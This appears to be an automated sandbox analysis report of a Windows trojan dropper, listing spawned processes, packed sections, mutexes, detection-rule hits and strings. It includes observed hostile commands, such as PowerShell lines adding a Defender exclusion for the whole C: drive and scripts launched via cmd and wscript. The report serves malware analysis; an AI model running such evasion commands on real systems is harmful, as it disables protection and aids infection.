Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C007F0	17_2_00C007F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C0FF90	17_2_00C0FF90
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BB27E0	17_2_00BB27E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BD6FC0	17_2_00BD6FC0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BC3F20	17_2_00BC3F20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BBBF10	17_2_00BBBF10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BD2F10	17_2_00BD2F10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BBA700	17_2_00BBA700
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C33718	17_2_00C33718
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BD1F50	17_2_00BD1F50
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BC9740	17_2_00BC9740

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

Process token adjusted: Load Driver

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: String function: 00C1DE10 appears 97 times
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: String function: 0041A710 appears 104 times
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: String function: 00C2607C appears 44 times
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: String function: 00C2AE24 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: String function: 0040B110 appears 46 times

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 404

Source: EZs3CZC.exe.11.dr	Static PE information: Number of sections : 15 > 10
Source: EZs3CZC[1].exe.11.dr	Static PE information: Number of sections : 15 > 10

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

Driver loaded: \Registry\Machine\System\CurrentControlSet\Services\r4uYZ44_3616

Source: 13s1HMkHKv.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 28.2.8sb9w_003.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.svchost.exe.1dbe2750000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 28.2.8sb9w_003.exe.83afc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 28.2.8sb9w_003.exe.83afc8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Source: 13s1HMkHKv.exe	Static PE information: Section: jfugtalk ZLIB complexity 0.9941429675787107
Source: rapes.exe.0.dr	Static PE information: Section: jfugtalk ZLIB complexity 0.9941429675787107
Source: EZs3CZC[1].exe.11.dr	Static PE information: Section: /19 ZLIB complexity 0.9991122159090909
Source: EZs3CZC[1].exe.11.dr	Static PE information: Section: /32 ZLIB complexity 0.9965919961734694
Source: EZs3CZC[1].exe.11.dr	Static PE information: Section: /65 ZLIB complexity 0.9991741625310173
Source: EZs3CZC[1].exe.11.dr	Static PE information: Section: /78 ZLIB complexity 0.9913074675658978
Source: EZs3CZC.exe.11.dr	Static PE information: Section: /19 ZLIB complexity 0.9991122159090909
Source: EZs3CZC.exe.11.dr	Static PE information: Section: /32 ZLIB complexity 0.9965919961734694
Source: EZs3CZC.exe.11.dr	Static PE information: Section: /65 ZLIB complexity 0.9991741625310173
Source: EZs3CZC.exe.11.dr	Static PE information: Section: /78 ZLIB complexity 0.9913074675658978
Source: s7MG2VL[1].exe.11.dr	Static PE information: Section: mxyvrfkq ZLIB complexity 0.9946183848634295
Source: s7MG2VL.exe.11.dr	Static PE information: Section: mxyvrfkq ZLIB complexity 0.9946183848634295
Source: ZqkKpwG[1].exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003309917717087
Source: ZqkKpwG[1].exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003309917717087
Source: ZqkKpwG.exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003309917717087
Source: ZqkKpwG.exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003309917717087
Source: eAzoDbY[1].exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: eAzoDbY[1].exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: eAzoDbY.exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: eAzoDbY.exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003231990014265
Source: 8sb9w_003[1].exe.11.dr	Static PE information: Section: ss2 ZLIB complexity 0.9900907166901125
Source: 8sb9w_003.exe.11.dr	Static PE information: Section: ss2 ZLIB complexity 0.9900907166901125
Source: yo7qmvz[1].exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003218217329546
Source: yo7qmvz.exe.11.dr	Static PE information: Section: .bss ZLIB complexity 1.0003218217329546

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.mine.winEXE@68/75@8/11

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 17_2_00444F20 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

17_2_00444F20

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\s7MG2VL[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Mutant created: \Sessions\1\BaseNamedObjects\{50F42A1A-B6A4-4061-9A0E-590D796A31D5}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4628:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Mutant created: \Sessions\1\BaseNamedObjects\{C6104D2F-6E33-4EA3-8446-2A8BEC2D380E}
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Mutant created: \Sessions\1\BaseNamedObjects\{4B1446C5-9CA8-4F63-9E71-7906C78EFD2F}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5048:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1416
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Mutant created: \Sessions\1\BaseNamedObjects\{EF799D21-6109-4132-982B-0DFD982FC84D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1664:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess412
Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\{69A50EDD-D88F-4F3E-BB56-32D66C78FC09}
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1420:120:WilError_03

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

File created: C:\Users\user\AppData\Local\Temp\bb556cff4a

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.bat" """

Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: s7MG2VL.exe, 0000000C.00000003.1892323418.0000000005D9C000.00000004.00000800.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1920018518.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938061078.0000000003855000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1963270681.0000000003862000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938705885.00000000010DD000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2035460187.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2003030716.00000000015A2000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2002131522.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2173072413.0000000003351000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2130048847.0000000003335000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2173459895.0000000003347000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 13s1HMkHKv.exe	Virustotal: Detection: 58%
Source: 13s1HMkHKv.exe	ReversingLabs: Detection: 60%

Source: 13s1HMkHKv.exe	String found in binary or memory: " /add
Source: 13s1HMkHKv.exe	String found in binary or memory: " /add /y
Source: 13s1HMkHKv.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: s7MG2VL.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

File read: C:\Users\user\Desktop\13s1HMkHKv.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\13s1HMkHKv.exe "C:\Users\user\Desktop\13s1HMkHKv.exe"
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe "C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 404
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1416 -s 408
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe"
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe"
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Process created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.bat" """
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe "C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe" ""
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe "C:\Users\user\AppData\Local\Temp\\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe" "{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}"
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Remove-MpPreference -ExclusionPath C:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe"
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe"
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Users\user\AppData\Local\Temp\file.exe "C:\Users\user\AppData\Local\Temp\file.exe"
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe "C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe"
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Process created: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe "C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe"
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe "C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe"
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe "C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe "C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe "C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.bat" """
Source: C:\Windows\System32\svchost.exe	Process created: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe "C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe" ""
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe "C:\Users\user\AppData\Local\Temp\\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe" "{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}"
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Process created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe"
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Remove-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe"
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Users\user\AppData\Local\Temp\file.exe "C:\Users\user\AppData\Local\Temp\file.exe"
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe "C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe"
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Process created: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: iertutil.dll	Jump to behavior
